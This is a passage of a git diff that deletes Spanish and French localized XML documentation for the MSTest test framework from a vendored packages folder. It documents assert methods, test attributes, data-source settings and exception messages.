prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Thrown if is equal to . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Determina si la primera colección es un subconjunto de la - segunda. Si cualquiera de los conjuntos contiene elementos duplicados, el número - de repeticiones del elemento en el subconjunto debe ser inferior o - igual al número de repeticiones en el superconjunto. - - - Colección que la prueba espera que esté incluida en . - - - Colección que la prueba espera que contenga . - - - True si es un subconjunto de - , de lo contrario false. - - - - - Construye un diccionario que contiene el número de repeticiones de cada - elemento en la colección especificada. - - - Colección que se va a procesar. - - - Número de elementos NULL de la colección. - - - Diccionario que contiene el número de repeticiones de cada elemento - en la colección especificada. - - - - - Encuentra un elemento no coincidente entre ambas colecciones. Un elemento - no coincidente es aquel que aparece un número distinto de veces en la - colección esperada de lo que aparece en la colección real. Se - supone que las colecciones son referencias no NULL diferentes con el - mismo número de elementos. El autor de la llamada es el responsable de - este nivel de comprobación. Si no hay ningún elemento no coincidente, - la función devuelve false y no deben usarse parámetros out. - - - La primera colección para comparar. - - - La segunda colección para comparar. - - - Número esperado de repeticiones de - o 0 si no hay ningún elemento no - coincidente. - - - El número real de repeticiones de - o 0 si no hay ningún elemento no - coincidente. - - - El elemento no coincidente (puede ser nulo) o NULL si no hay ningún - elemento no coincidente. - - - Es true si se encontró un elemento no coincidente. De lo contrario, false. - - - - - compara los objetos con object.Equals. - - - - - Clase base para las excepciones de marco. - - - - - Inicializa una nueva instancia de la clase . - - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - La excepción. - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - - - - Clase de recurso fuertemente tipado para buscar cadenas traducidas, etc. - - - - - Devuelve la instancia de ResourceManager almacenada en caché que usa esta clase. - - - - - Invalida la propiedad CurrentUICulture del subproceso actual para todas - las búsquedas de recursos que usan esta clase de recursos fuertemente tipados. - - - - - Busca una cadena traducida similar a "La cadena de acceso tiene una sintaxis no válida". - - - - - Busca una cadena traducida similar a "La colección esperada contiene {1} repeticiones de <{2}>. La colección actual contiene {3} repeticiones. {0}". - - - - - Busca una cadena traducida similar a "Se encontró un elemento duplicado: <{1}>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba: <{1}>. El caso es distinto para el valor real: <{2}>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba una diferencia no superior a <{3}> entre el valor esperado <{1}> y el valor real <{2}>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba: <{1} ({2})>, pero es: <{3} ({4})>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba: <{1}>, pero es: <{2}>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba una diferencia mayor que <{3}> entre el valor esperado <{1}> y el valor real <{2}>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba cualquier valor excepto: <{1}>, pero es: <{2}>. {0}". - - - - - Busca una cadena traducida similar a "No pase tipos de valor a AreSame(). Los valores convertidos a Object no serán nunca iguales. Considere el uso de AreEqual(). {0}". - - - - - Busca una cadena traducida similar a "Error de {0}. {1}". - - - - - Busca una cadena traducida similar a "No se admite un método de prueba asincrónico con UITestMethodAttribute. Quite el método asincrónico o use TestMethodAttribute. - - - - - Busca una cadena traducida similar a "Ambas colecciones están vacías". {0}. - - - - - Busca una cadena traducida similar a "Ambas colecciones tienen los mismos elementos". - - - - - Busca una cadena traducida similar a "Las referencias de ambas colecciones apuntan al mismo objeto de colección. {0}". - - - - - Busca una cadena traducida similar a "Ambas colecciones tienen los mismos elementos. {0}". - - - - - Busca una cadena traducida similar a "{0}({1})". - - - - - Busca una cadena traducida similar a "(NULL)". - - - - - Busca una cadena traducida similar a "(objeto)". - - - - - Busca una cadena traducida similar a "La cadena "{0}" no contiene la cadena "{1}". {2}". - - - - - Busca una cadena traducida similar a "{0} ({1})". - - - - - Busca una cadena traducida similar a "No se debe usar Assert.Equals para aserciones. Use Assert.AreEqual y Overloads en su lugar". - - - - - Busca una cadena traducida similar a "El número de elementos de las colecciones no coincide. Se esperaba: <{1}>, pero es: <{2}>. {0}". - - - - - Busca una cadena traducida similar a "El elemento del índice {0} no coincide". - - - - - Busca una cadena traducida similar a "El elemento del índice {1} no es del tipo esperado. Tipo esperado: <{2}>, tipo real: <{3}>. {0}". - - - - - Busca una cadena traducida similar a "El elemento del índice {1} es (NULL). Se esperaba el tipo: <{2}>. {0}". - - - - - Busca una cadena traducida similar a "La cadena "{0}" no termina con la cadena "{1}". {2}". - - - - - Busca una cadena traducida similar a "Argumento no válido: EqualsTester no puede utilizar valores NULL". - - - - - Busca una cadena traducida similar a "El objeto de tipo {0} no se puede convertir en {1}". - - - - - Busca una cadena traducida similar a "El objeto interno al que se hace referencia ya no es válido". - - - - - Busca una cadena traducida similar a "El parámetro "{0}" no es válido. {1}". - - - - - Busca una cadena traducida similar a "La propiedad {0} tiene el tipo {1}; se esperaba el tipo {2}". - - - - - Busca una cadena traducida similar a "{0} Tipo esperado: <{1}>. Tipo real: <{2}>". - - - - - Busca una cadena traducida similar a "La cadena "{0}" no coincide con el patrón "{1}". {2}". - - - - - Busca una cadena traducida similar a "Tipo incorrecto: <{1}>. Tipo real: <{2}>. {0}". - - - - - Busca una cadena traducida similar a "La cadena "{0}" coincide con el patrón "{1}". {2}". - - - - - Busca una cadena traducida similar a "No se especificó ningún atributo DataRowAttribute. Se requiere al menos un elemento DataRowAttribute con DataTestMethodAttribute". - - - - - Busca una cadena traducida similar a "No se produjo ninguna excepción. Se esperaba la excepción {1}. {0}". - - - - - Busca una cadena traducida similar a "El parámetro "{0}" no es válido. El valor no puede ser NULL. {1}". - - - - - Busca una cadena traducida similar a "Número diferente de elementos". - - - - - Busca una cadena traducida similar a - "No se encontró el constructor con la signatura especificada. Es posible que tenga que regenerar el descriptor de acceso privado, - o que el miembro sea privado y esté definido en una clase base. Si se trata de esto último, debe pasar el tipo - que define el miembro al constructor de PrivateObject". - - - - - Busca una cadena traducida similar a - "No se encontró el miembro especificado ({0}). Es posible que tenga que regenerar el descriptor de acceso privado, - o que el miembro sea privado y esté definido en una clase base. Si se trata de esto último, debe pasar el tipo - que define el miembro al constructor de PrivateObject". - - - - - Busca una cadena traducida similar a "La cadena "{0}" no empieza con la cadena "{1}". {2}". - - - - - Busca una cadena traducida similar a "El tipo de excepción esperado debe ser System.Exception o un tipo derivado de System.Exception". - - - - - Busca una cadena traducida similar a "No se pudo obtener el mensaje para una excepción del tipo {0} debido a una excepción". - - - - - Busca una cadena traducida similar a "El método de prueba no inició la excepción esperada {0}. {1}". - - - - - Busca una cadena traducida similar a "El método de prueba no inició una excepción. El atributo {0} definido en el método de prueba esperaba una excepción". - - - - - Busca una cadena traducida similar a "El método de prueba inició la excepción {0}, pero se esperaba la excepción {1}. Mensaje de la excepción: {2}". - - - - - Busca una cadena traducida similar a "El método de prueba inició la excepción {0}, pero se esperaba la excepción {1} o un tipo derivado de ella. Mensaje de la excepción: {2}". - - - - - Busca una cadena traducida similar a "Se produjo la excepción {2}, pero se esperaba la excepción {1}. {0} - Mensaje de excepción: {3} - Seguimiento de la pila: {4}". - - - - - Resultados de la prueba unitaria. - - - - - La prueba se ejecutó, pero hubo problemas. - Entre estos, puede haber excepciones o aserciones con errores. - - - - - La prueba se completó, pero no podemos determinar si el resultado fue correcto o no. - Se puede usar para pruebas anuladas. - - - - - La prueba se ejecutó sin problemas. - - - - - La prueba se está ejecutando. - - - - - Error del sistema al intentar ejecutar una prueba. - - - - - Se agotó el tiempo de espera de la prueba. - - - - - El usuario anuló la prueba. - - - - - La prueba tiene un estado desconocido - - - - - Proporciona funcionalidad auxiliar para el marco de pruebas unitarias. - - - - - Obtiene los mensajes de excepción, incluidos los mensajes de todas las excepciones internas, - de forma recursiva. - - Excepción para la que se obtienen los mensajes - la cadena con información del mensaje de error - - - - Enumeración para cuando se agota el tiempo de espera que se puede usar con el atributo . - El tipo de la enumeración debe coincidir. - - - - - Infinito. - - - - - Atributo de la clase de prueba. - - - - - Obtiene un atributo de método de prueba que habilita la ejecución de esta prueba. - - La instancia de atributo de método de prueba definida en este método. - Tipo que se utilizará para ejecutar esta prueba. - Extensions can override this method to customize how all methods in a class are run. - - - - Atributo del método de prueba. - - - - - Ejecuta un método de prueba. - - El método de prueba para ejecutar. - Una matriz de objetos de TestResult que representan los resultados de la prueba. - Extensions can override this method to customize running a TestMethod. - - - - Atributo para inicializar la prueba. - - - - - Atributo de limpieza de la prueba. - - - - - Atributo de omisión. - - - - - Atributo de propiedad de la prueba. - - - - - Inicializa una nueva instancia de la clase . - - - El nombre. - - - El valor. - - - - - Obtiene el nombre. - - - - - Obtiene el valor. - - - - - Atributo de inicialización de la clase. - - - - - Atributo de limpieza de la clase. - - - - - Atributo de inicialización del ensamblado. - - - - - Atributo de limpieza del ensamblado. - - - - - Propietario de la prueba. - - - - - Inicializa una nueva instancia de la clase . - - - El propietario. - - - - - Obtiene el propietario. - - - - - Atributo de prioridad. Se usa para especificar la prioridad de una prueba unitaria. - - - - - Inicializa una nueva instancia de la clase . - - - La prioridad. - - - - - Obtiene la prioridad. - - - - - Descripción de la prueba. - - - - - Inicializa una nueva instancia de la clase para describir una prueba. - - La descripción. - - - - Obtiene la descripción de una prueba. - - - - - URI de estructura de proyectos de CSS. - - - - - Inicializa una nueva instancia de la clase para el URI de estructura de proyecto de CSS. - - URI de estructura de proyectos de CSS. - - - - Obtiene el URI de estructura de proyectos de CSS. - - - - - URI de iteración de CSS. - - - - - Inicializa una nueva instancia de la clase para el URI de iteración de CSS. - - URI de iteración de CSS. - - - - Obtiene el URI de iteración de CSS. - - - - - Atributo WorkItem. Se usa para especificar un elemento de trabajo asociado a esta prueba. - - - - - Inicializa una nueva instancia de la clase para el atributo WorkItem. - - Identificador de un elemento de trabajo. - - - - Obtiene el identificador de un elemento de trabajo asociado. - - - - - Atributo de tiempo de espera. Se usa para especificar el tiempo de espera de una prueba unitaria. - - - - - Inicializa una nueva instancia de la clase . - - - Tiempo de espera. - - - - - Inicializa una nueva instancia de la clase con un tiempo de espera preestablecido. - - - Tiempo de espera - - - - - Obtiene el tiempo de espera. - - - - - Objeto TestResult que debe devolverse al adaptador. - - - - - Inicializa una nueva instancia de la clase . - - - - - Obtiene o establece el nombre para mostrar del resultado. Es útil cuando se devuelven varios resultados. - Si es NULL, se utiliza el nombre del método como nombre para mostrar. - - - - - Obtiene o establece el resultado de la ejecución de pruebas. - - - - - Obtiene o establece la excepción que se inicia cuando la prueba da error. - - - - - Obtiene o establece la salida del mensaje registrado por el código de la prueba. - - - - - Obtiene o establece la salida del mensaje registrado por el código de la prueba. - - - - - Obtiene o establece el seguimiento de depuración que realiza el código de la prueba. - - - - - Gets or sets the debug traces by test code. - - - - - Obtiene o establece la duración de la ejecución de la prueba. - - - - - Obtiene o establece el índice de la fila de datos en el origen de datos. Se establece solo para resultados - de ejecuciones individuales de filas de datos de una prueba controlada por datos. - - - - - Obtiene o establece el valor devuelto del método de prueba. Actualmente es siempre NULL. - - - - - Obtiene o establece los archivos de resultados que adjunta la prueba. - - - - - Especifica la cadena de conexión, el nombre de tabla y el método de acceso a fila para las pruebas controladas por datos. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Nombre de proveedor predeterminado del origen de datos. - - - - - Método de acceso a datos predeterminado. - - - - - Inicializa una nueva instancia de la clase . Esta instancia se inicializará con un proveedor de datos, una cadena de conexión, una tabla de datos y un método de acceso a datos para acceder al origen de datos. - - Nombre invariable del proveedor de datos, como System.Data.SqlClient - - Cadena de conexión específica del proveedor de datos. - ADVERTENCIA: La cadena de conexión puede contener información confidencial (por ejemplo, una contraseña). - La cadena de conexión se almacena en texto sin formato en el código fuente y en el ensamblado compilado. - Restrinja el acceso al código fuente y al ensamblado para proteger esta información confidencial. - - Nombre de la tabla de datos. - Especifica el orden de acceso a los datos. - - - - Inicializa una nueva instancia de la clase . Esta instancia se inicializará con una cadena de conexión y un nombre de tabla. - Especifique la cadena de conexión y la tabla de datos para acceder al origen de datos OLEDB. - - - Cadena de conexión específica del proveedor de datos. - ADVERTENCIA: La cadena de conexión puede contener información confidencial (por ejemplo, una contraseña). - La cadena de conexión se almacena en texto sin formato en el código fuente y en el ensamblado compilado. - Restrinja el acceso al código fuente y al ensamblado para proteger esta información confidencial. - - Nombre de la tabla de datos. - - - - Inicializa una nueva instancia de la clase . Esta instancia se inicializará con un proveedor de datos y una cadena de conexión asociada al nombre del valor de configuración. - - El nombre de un origen de datos que se encuentra en la sección <microsoft.visualstudio.qualitytools> del archivo app.config. - - - - Obtiene un valor que representa el proveedor de datos del origen de datos. - - - Nombre del proveedor de datos. Si no se designó un proveedor de datos al inicializar el objeto, se devolverá el proveedor predeterminado de System.Data.OleDb. - - - - - Obtiene un valor que representa la cadena de conexión para el origen de datos. - - - - - Obtiene un valor que indica el nombre de la tabla que proporciona los datos. - - - - - Obtiene el método usado para tener acceso al origen de datos. - - - - Uno de los . Si no se ha inicializado, devolverá el valor predeterminado . - - - - - Obtiene el nombre del origen de datos que se encuentra en la sección <microsoft.visualstudio.qualitytools> del archivo app.config. - - - - - Atributo para una prueba controlada por datos donde los datos pueden especificarse insertados. - - - - - Busca todas las filas de datos y las ejecuta. - - - El método de prueba. - - - Una matriz de . - - - - - Ejecuta el método de prueba controlada por datos. - - Método de prueba para ejecutar. - Fila de datos. - Resultados de la ejecución. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 2c1d88ab..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,93 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Permet de spécifier l'élément de déploiement (fichier ou répertoire) pour un déploiement par test. - Peut être spécifié sur une classe de test ou une méthode de test. - Peut avoir plusieurs instances de l'attribut pour spécifier plusieurs éléments. - Le chemin de l'élément peut être absolu ou relatif. S'il est relatif, il l'est par rapport à RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - DeploymentItemAttribute is currently not supported in .Net Core. This is just a placehodler for support in the future. - - - - - Initialise une nouvelle instance de la classe . - - Fichier ou répertoire à déployer. Le chemin est relatif au répertoire de sortie de build. L'élément est copié dans le même répertoire que les assemblys de tests déployés. - - - - Initialise une nouvelle instance de la classe - - Chemin relatif ou absolu du fichier ou du répertoire à déployer. Le chemin est relatif au répertoire de sortie de build. L'élément est copié dans le même répertoire que les assemblys de tests déployés. - Chemin du répertoire dans lequel les éléments doivent être copiés. Il peut être absolu ou relatif au répertoire de déploiement. Tous les fichiers et répertoires identifiés par vont être copiés dans ce répertoire. - - - - Obtient le chemin du fichier ou dossier source à copier. - - - - - Obtient le chemin du répertoire dans lequel l'élément est copié. - - - - - Classe TestContext. Cette classe doit être complètement abstraite, et ne doit contenir aucun - membre. L'adaptateur va implémenter les membres. Les utilisateurs du framework ne doivent - y accéder que via une interface bien définie. - - - - - Obtient les propriétés de test d'un test. - - - - - Obtient le nom complet de la classe contenant la méthode de test en cours d'exécution - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Obtient le nom de la méthode de test en cours d'exécution - - - - - Obtient le résultat de test actuel. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 2d63dc05..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - TestMethod pour exécution. - - - - - Obtient le nom de la méthode de test. - - - - - Obtient le nom de la classe de test. - - - - - Obtient le type de retour de la méthode de test. - - - - - Obtient les paramètres de la méthode de test. - - - - - Obtient le methodInfo de la méthode de test. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Appelle la méthode de test. - - - Arguments à passer à la méthode de test. (Exemple : pour un test piloté par les données) - - - Résultat de l'appel de la méthode de test. - - - This call handles asynchronous test methods as well. - - - - - Obtient tous les attributs de la méthode de test. - - - Indique si l'attribut défini dans la classe parente est valide. - - - Tous les attributs. - - - - - Obtient l'attribut du type spécifique. - - System.Attribute type. - - Indique si l'attribut défini dans la classe parente est valide. - - - Attributs du type spécifié. - - - - - Assistance. - - - - - Paramètre de vérification non null. - - - Paramètre. - - - Nom du paramètre. - - - Message. - - Throws argument null exception when parameter is null. - - - - Paramètre de vérification non null ou vide. - - - Paramètre. - - - Nom du paramètre. - - - Message. - - Throws ArgumentException when parameter is null. - - - - Énumération liée à la façon dont nous accédons aux lignes de données dans les tests pilotés par les données. - - - - - Les lignes sont retournées dans un ordre séquentiel. - - - - - Les lignes sont retournées dans un ordre aléatoire. - - - - - Attribut permettant de définir les données inline d'une méthode de test. - - - - - Initialise une nouvelle instance de la classe . - - Objet de données. - - - - Initialise une nouvelle instance de la classe qui accepte un tableau d'arguments. - - Objet de données. - Plus de données. - - - - Obtient les données permettant d'appeler la méthode de test. - - - - - Obtient ou définit le nom d'affichage dans les résultats des tests à des fins de personnalisation. - - - - - Exception d'assertion non concluante. - - - - - Initialise une nouvelle instance de la classe . - - Message. - Exception. - - - - Initialise une nouvelle instance de la classe . - - Message. - - - - Initialise une nouvelle instance de la classe . - - - - - Classe InternalTestFailureException. Sert à indiquer l'échec interne d'un cas de test - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Initialise une nouvelle instance de la classe . - - Message d'exception. - Exception. - - - - Initialise une nouvelle instance de la classe . - - Message d'exception. - - - - Initialise une nouvelle instance de la classe . - - - - - Attribut indiquant d'attendre une exception du type spécifié - - - - - Initialise une nouvelle instance de la classe avec le type attendu - - Type de l'exception attendue - - - - Initialise une nouvelle instance de la classe avec - le type attendu et le message à inclure quand aucune exception n'est levée par le test. - - Type de l'exception attendue - - Message à inclure dans le résultat de test en cas d'échec du test lié à la non-levée d'une exception - - - - - Obtient une valeur indiquant le type de l'exception attendue - - - - - Obtient ou définit une valeur indiquant si les types dérivés du type de l'exception attendue peuvent - être éligibles comme prévu - - - - - Obtient le message à inclure dans le résultat de test en cas d'échec du test lié à la non-levée d'une exception - - - - - Vérifie que le type de l'exception levée par le test unitaire est bien attendu - - Exception levée par le test unitaire - - - - Classe de base des attributs qui spécifient d'attendre une exception d'un test unitaire - - - - - Initialise une nouvelle instance de la classe avec un message d'absence d'exception par défaut - - - - - Initialise une nouvelle instance de la classe avec un message d'absence d'exception - - - Message à inclure dans le résultat de test en cas d'échec du test lié à la non-levée d'une - exception - - - - - Obtient le message à inclure dans le résultat de test en cas d'échec du test lié à la non-levée d'une exception - - - - - Obtient le message à inclure dans le résultat de test en cas d'échec du test lié à la non-levée d'une exception - - - - - Obtient le message d'absence d'exception par défaut - - Nom du type de l'attribut ExpectedException - Message d'absence d'exception par défaut - - - - Détermine si l'exception est attendue. Si la méthode est retournée, cela - signifie que l'exception est attendue. Si la méthode lève une exception, cela - signifie que l'exception n'est pas attendue, et que le message de l'exception levée - est inclus dans le résultat de test. La classe peut être utilisée par - commodité. Si est utilisé et si l'assertion est un échec, - le résultat de test a la valeur Non concluant. - - Exception levée par le test unitaire - - - - Lève à nouveau l'exception, s'il s'agit de AssertFailedException ou de AssertInconclusiveException - - Exception à lever de nouveau, s'il s'agit d'une exception d'assertion - - - - Cette classe permet à l'utilisateur d'effectuer des tests unitaires pour les types basés sur des types génériques. - GenericParameterHelper répond à certaines contraintes usuelles des types génériques, - exemple : - 1. constructeur par défaut public - 2. implémentation d'une interface commune : IComparable, IEnumerable - - - - - Initialise une nouvelle instance de la classe qui - répond à la contrainte 'newable' dans les génériques C#. - - - This constructor initializes the Data property to a random value. - - - - - Initialise une nouvelle instance de la classe qui - initialise la propriété Data en lui assignant une valeur fournie par l'utilisateur. - - Valeur entière - - - - Obtient ou définit les données - - - - - Compare la valeur de deux objets GenericParameterHelper - - objet à comparer - true si obj a la même valeur que l'objet GenericParameterHelper de 'this'. - sinon false. - - - - Retourne un code de hachage pour cet objet. - - Code de hachage. - - - - Compare les données des deux objets . - - Objet à comparer. - - Nombre signé indiquant les valeurs relatives de cette instance et de cette valeur. - - - Thrown when the object passed in is not an instance of . - - - - - Retourne un objet IEnumerator dont la longueur est dérivée de - la propriété Data. - - Objet IEnumerator - - - - Retourne un objet GenericParameterHelper égal à - l'objet actuel. - - Objet cloné. - - - - Permet aux utilisateurs de journaliser/d'écrire des traces de tests unitaires à des fins de diagnostic. - - - - - Gestionnaire de LogMessage. - - Message à journaliser. - - - - Événement à écouter. Déclenché quand le writer de test unitaire écrit un message. - Sert principalement à être consommé par un adaptateur. - - - - - API à appeler par le writer de test pour journaliser les messages. - - Format de chaîne avec des espaces réservés. - Paramètres des espaces réservés. - - - - Attribut TestCategory utilisé pour spécifier la catégorie d'un test unitaire. - - - - - Initialise une nouvelle instance de la classe et applique la catégorie au test. - - - Catégorie de test. - - - - - Obtient les catégories de test appliquées au test. - - - - - Classe de base de l'attribut "Category" - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Initialise une nouvelle instance de la classe . - Applique la catégorie au test. Les chaînes retournées par TestCategories - sont utilisées avec la commande /category pour filtrer les tests - - - - - Obtient la catégorie de test appliquée au test. - - - - - Classe AssertFailedException. Sert à indiquer l'échec d'un cas de test - - - - - Initialise une nouvelle instance de la classe . - - Message. - Exception. - - - - Initialise une nouvelle instance de la classe . - - Message. - - - - Initialise une nouvelle instance de la classe . - - - - - Collection de classes d'assistance permettant de tester diverses conditions dans - des tests unitaires. Si la condition testée n'est pas remplie, une exception - est levée. - - - - - Obtient l'instance singleton de la fonctionnalité Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Teste si la condition spécifiée a la valeur true, et lève une exception - si la condition a la valeur false. - - - Condition censée être vraie (true) pour le test. - - - Thrown if is false. - - - - - Teste si la condition spécifiée a la valeur true, et lève une exception - si la condition a la valeur false. - - - Condition censée être vraie (true) pour le test. - - - Message à inclure dans l'exception quand - est false. Le message s'affiche dans les résultats des tests. - - - Thrown if is false. - - - - - Teste si la condition spécifiée a la valeur true, et lève une exception - si la condition a la valeur false. - - - Condition censée être vraie (true) pour le test. - - - Message à inclure dans l'exception quand - est false. Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is false. - - - - - Teste si la condition spécifiée a la valeur false, et lève une exception - si la condition a la valeur true. - - - Condition censée être fausse (false) pour le test. - - - Thrown if is true. - - - - - Teste si la condition spécifiée a la valeur false, et lève une exception - si la condition a la valeur true. - - - Condition censée être fausse (false) pour le test. - - - Message à inclure dans l'exception quand - est true. Le message s'affiche dans les résultats des tests. - - - Thrown if is true. - - - - - Teste si la condition spécifiée a la valeur false, et lève une exception - si la condition a la valeur true. - - - Condition censée être fausse (false) pour le test. - - - Message à inclure dans l'exception quand - est true. Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is true. - - - - - Teste si l'objet spécifié a une valeur null, et lève une exception - si ce n'est pas le cas. - - - Objet censé avoir une valeur null pour le test. - - - Thrown if is not null. - - - - - Teste si l'objet spécifié a une valeur null, et lève une exception - si ce n'est pas le cas. - - - Objet censé avoir une valeur null pour le test. - - - Message à inclure dans l'exception quand - n'a pas une valeur null. Le message s'affiche dans les résultats des tests. - - - Thrown if is not null. - - - - - Teste si l'objet spécifié a une valeur null, et lève une exception - si ce n'est pas le cas. - - - Objet censé avoir une valeur null pour le test. - - - Message à inclure dans l'exception quand - n'a pas une valeur null. Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not null. - - - - - Teste si l'objet spécifié a une valeur non null, et lève une exception - s'il a une valeur null. - - - Objet censé ne pas avoir une valeur null pour le test. - - - Thrown if is null. - - - - - Teste si l'objet spécifié a une valeur non null, et lève une exception - s'il a une valeur null. - - - Objet censé ne pas avoir une valeur null pour le test. - - - Message à inclure dans l'exception quand - a une valeur null. Le message s'affiche dans les résultats des tests. - - - Thrown if is null. - - - - - Teste si l'objet spécifié a une valeur non null, et lève une exception - s'il a une valeur null. - - - Objet censé ne pas avoir une valeur null pour le test. - - - Message à inclure dans l'exception quand - a une valeur null. Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is null. - - - - - Teste si les objets spécifiés font référence au même objet, et - lève une exception si les deux entrées ne font pas référence au même objet. - - - Premier objet à comparer. Valeur attendue par le test. - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Thrown if does not refer to the same object - as . - - - - - Teste si les objets spécifiés font référence au même objet, et - lève une exception si les deux entrées ne font pas référence au même objet. - - - Premier objet à comparer. Valeur attendue par le test. - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - n'est pas identique à . Le message s'affiche - dans les résultats des tests. - - - Thrown if does not refer to the same object - as . - - - - - Teste si les objets spécifiés font référence au même objet, et - lève une exception si les deux entrées ne font pas référence au même objet. - - - Premier objet à comparer. Valeur attendue par le test. - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - n'est pas identique à . Le message s'affiche - dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if does not refer to the same object - as . - - - - - Teste si les objets spécifiés font référence à des objets distincts, et - lève une exception si les deux entrées font référence au même objet. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Thrown if refers to the same object - as . - - - - - Teste si les objets spécifiés font référence à des objets distincts, et - lève une exception si les deux entrées font référence au même objet. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - est identique à . Le message s'affiche dans - les résultats des tests. - - - Thrown if refers to the same object - as . - - - - - Teste si les objets spécifiés font référence à des objets distincts, et - lève une exception si les deux entrées font référence au même objet. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - est identique à . Le message s'affiche dans - les résultats des 